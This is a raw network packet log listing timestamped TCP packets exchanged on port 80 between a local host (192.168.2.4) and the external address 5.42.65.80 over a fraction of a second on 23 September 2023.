Sep 23, 2023 17:53:23.505894899 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.505920887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.505935907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.505954027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.505976915 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.506717920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.506755114 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.506762981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.506792068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.506820917 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.506839037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.506861925 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.506875992 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.506901026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.507642984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.507683992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.507689953 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.507724047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.507764101 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.507848978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.507941008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.507956982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.507977009 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.508781910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.508817911 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.508842945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.508858919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.508874893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.508891106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.508893013 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.508907080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.508948088 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.509562969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.509608984 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.509622097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.509735107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.509774923 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.509865046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.509881020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.509896994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.509929895 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.510448933 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.510463953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.510493040 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.510713100 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.510727882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.510742903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.510750055 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.510760069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.510817051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.510833025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.510844946 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.510857105 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.511780024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.511825085 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.511837959 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.511883020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.511929989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.511950016 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.512016058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.512051105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.512052059 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.512552023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.512592077 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.512672901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.512689114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.512738943 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.512742043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.512813091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.512829065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.512850046 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.513405085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.513421059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.513442993 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.513531923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.513612032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.513628006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.513638020 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.513643026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.513912916 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.514331102 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.514354944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.514370918 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.514415026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.514451027 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.514472008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.514487982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.514522076 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.514539003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.515218019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.515234947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.515254974 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.515367985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.515404940 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.515415907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.515445948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.515480995 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.515494108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.516151905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.516169071 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.516184092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.516195059 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.516201973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.516217947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.516230106 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.516247034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.516259909 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.517096043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.517134905 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.517206907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.517249107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.517266035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.517285109 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.517306089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.517322063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.517343044 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.517959118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.517975092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.517997026 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.518275976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.518291950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.518309116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.518313885 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.518325090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.518351078 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.518368006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.518383980 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.518409014 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.519133091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.519172907 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.519212008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.519229889 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.519259930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.519273043 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.519342899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.519360065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.519381046 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.520071030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.520101070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.520109892 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.520117044 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.520181894 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.520198107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.520258904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.520275116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.520297050 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.520884037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.520900011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.520925045 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.520925045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.520941019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.520967960 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.521006107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.521045923 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.521054029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.521852970 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.521893024 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.521930933 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.522021055 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.522062063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.522064924 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.522078037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.522108078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.522119999 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.522661924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.522701979 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.522741079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.522788048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.522825003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.522838116 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.522857904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.522875071 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.522900105 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.523550987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.523566961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.523581982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.523591042 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.523607969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.523613930 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.523638010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.523667097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.523675919 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.524359941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.524375916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.524399042 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.524416924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.524432898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.524452925 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.524477959 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.524502039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.524517059 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.525324106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.525341034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.525363922 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.525703907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.525738955 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.525751114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.525768042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.525795937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.525816917 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.525855064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.525872946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.525893927 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.526452065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.526489973 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.526550055 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.526593924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.526633024 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.526684046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.526719093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.526752949 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.526760101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.527386904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.527426958 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.527436972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.527509928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.527527094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.527542114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.527549982 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.527558088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.527575970 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.528146982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.528184891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.528194904 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.528342009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.528382063 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.528405905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.528435946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.528472900 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.528522968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.529102087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.529144049 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.529160976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.529176950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.529207945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.529211044 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.529223919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.529259920 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.529279947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.529992104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.530008078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.530023098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.530039072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.530040979 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.530056000 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.530060053 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.530071974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.530088902 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.530806065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.530822039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.530854940 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.530860901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.530877113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.530895948 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.530909061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.530939102 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.530944109 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.531706095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.531730890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.531757116 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.531781912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.531810999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.531815052 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.531886101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.531903028 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.531922102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.532511950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.532536030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.532551050 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.532783031 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.532820940 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.532860041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.532876015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.532912970 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.532929897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.532947063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.532975912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.532980919 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.533670902 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.533713102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.533737898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.533776045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.533792973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.533813953 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.533824921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.533840895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.533860922 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.534567118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.534603119 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.534610987 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.534619093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.534635067 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.534657955 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.534682989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.534712076 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.534724951 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.535337925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.535367966 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.535378933 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.535442114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.535475016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.535480976 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.535559893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.535576105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.535598040 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.536187887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.536205053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.536230087 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.536267042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.536283016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.536298990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.536303997 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.536336899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.536338091 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.537086964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.537102938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.537117958 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.537131071 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.537133932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.537158966 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.537168026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.537204027 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.537219048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.537872076 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.537889004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.537913084 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.537936926 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.537974119 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.537986994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.538016081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.538032055 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.538052082 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.538801908 CEST	80	49781	5.42.65.80	192.168.2.4
